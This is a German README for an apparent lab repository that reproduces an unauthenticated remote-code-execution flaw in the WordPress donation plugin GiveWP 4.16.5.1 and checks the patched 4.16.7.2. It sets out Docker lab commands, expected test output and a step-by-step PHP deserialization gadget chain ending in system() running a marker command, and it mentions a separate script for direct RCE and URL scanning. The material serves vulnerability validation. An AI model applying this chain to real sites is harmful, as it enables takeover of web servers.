
# Autorisierte Docker-Lab-Umgebung und sauberer PoC zur Validierung von CVE-2026-82222 RCE in GiveWP 4.16.5.1 sowie des Fixes in 4.16.7.2.
Sicherheitsforschungsmaterial zur Reproduktion und Validierung von CVE-2026-82222 in einem isolierten Docker-Labor.
Für direkten RCE-PoC und URL-Scan verwenden Sie CVE-2026-8222-RCE.py
Status: im bereitgestellten Labor nachgewiesen
GiveWP 4.16.5.1 erlaubt es einem zunächst nicht authentifizierten Angreifer, einen PHP-Objektgraphen zu persistieren, ihn über die GiveWP-Sitzungsverwaltung wiederzubeleben und einen festen Marker-Befehl als WordPress-Webserver-Benutzer auszuführen.
Getestetes positives Ergebnis:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
Das End-to-End-Ergebnis wurde auch gegen unveränderte, nicht instrumentierte GiveWP-4.16.5.1-Quellen reproduziert. GiveWP 4.16.7.2 blockierte den HTTP-Träger in der getesteten Konfiguration und blockierte unabhängig davon das Terminal-Gadget während einer direkten Kontrolle.
Dies demonstriert die Befehlsausführung innerhalb des WordPress-Containers. Es demonstriert keinen Root-Zugriff, keinen Container-Ausbruch, keine laterale Bewegung und keine Host-Kompromittierung.
Verwenden Sie dieses Repository nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind, sie zu testen.
Der bereitgestellte PoC ist bewusst eingeschränkt:
touch /tmp/CVE-2026-82222-RCE-GETBAG aus.--allow-authorized-non-loopback-Flag.127.0.0.1.Der HTTP-Test erstellt einen Wegwerf-Spenderbenutzer, Metadaten und GiveWP-Sitzungszeilen. Verwenden Sie nach dem Test den enthaltenen Reset-Befehl.
Voraussetzungen:
curlunzipsha256sum oder shasumdownloads.wordpress.org für offizielle Plugin-ArchiveFühren Sie die vollständige verwundbare/gepatchte Matrix aus:
./lab verify
Der Befehl:
ProviderForwarder-Terminal den String-Callable ebenfalls ablehnt.Das gepatchte Labor läuft am Ende weiter. Entfernen Sie es mit:
./lab reset
Um einen anderen Loopback-Port zu verwenden:
LAB_PORT=8099 ./lab verify
Die verwundbare Kontrolle muss mit konkreten Terminal-Beweisen enden:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
Die gepatchte Kontrolle muss Folgendes zeigen:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
Ein HTTP-500, gespeicherte Nutzlast, eine Ausnahme oder ein Detektor-Treffer ohne den Marker wird nicht als RCE-Beweis akzeptiert.
Starten und testen Sie die verwundbare Version:
./lab start vulnerable
./lab test
Starten und testen Sie die gepatchte Version:
./lab start patched
./lab test
Aktuellen Zustand prüfen:
./lab status
Container, Volumes, Testbenutzer, Sitzungen und Marker-Zustand entfernen:
./lab reset
Zwischengespeicherte Plugin-ZIPs und extrahierte Assets werden für schnellere Wiederholungsläufe aufbewahrt. Entfernen Sie auch diese exakt generierten Assets mit:
./lab reset --purge-assets
| Version | Bewertung |
|---|---|
| GiveWP 4.16.5.1 | RCE end-to-end reproduziert |
| GiveWP 4.16.6–4.16.7.1 | Als betroffen gemeldet; hier nicht einzeln reproduziert |
| GiveWP 4.16.7.2 | Gepatchte Negativkontrollen reproduziert |
| Spätere Versionen | Nicht einzeln getestet; auf die neueste unterstützte Version aktualisieren |
Das öffentliche Advisory identifiziert Versionen bis einschließlich 4.16.7.1 als betroffen. Dieses Repository beweist direkt nur die beiden Versionen in seiner Positiv-/Negativ-Testmatrix.
Referenzen:
Der Exploit kombiniert mehrere Verhaltensweisen:
Give\Helpers\Utils::maybeSafeUnserialize() verwendet allowed_classes => false, was __PHP_Incomplete_Class erzeugt, aber eine spätere Serialisierung bewahrt die ursprünglichen Klassennamen und Eigenschaften.maybe_unserialize() belebt die mitgelieferten Klassen wieder.system() ein.Im HTTP-Träger sind vier wörtliche Namespace-Backslashes erforderlich. Die beiden effektiven Stripping-Durchläufe reduzieren sie 4 -> 2 -> 1. Die Nutzlast ist NUL-frei, und PHP 8.1.30 wurde verifiziert, um den einfachen serialisierten Namen für die private Session::$attributeName-Eigenschaft zu hydratisieren.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Angreifer-kontrollierter Graph:
TCPDF
├── file_id = eindeutige Anfragekennung
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fester Marker-Befehl
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
Der kritische versteckte Übergang ist PHPs impliziter IteratorAggregate-Dispatch. TCPDF::$imagekeys ist untypisiert, sodass die Zuweisung einer Symfony-Session dazu führt, dass foreach Session::getIterator() aufruft.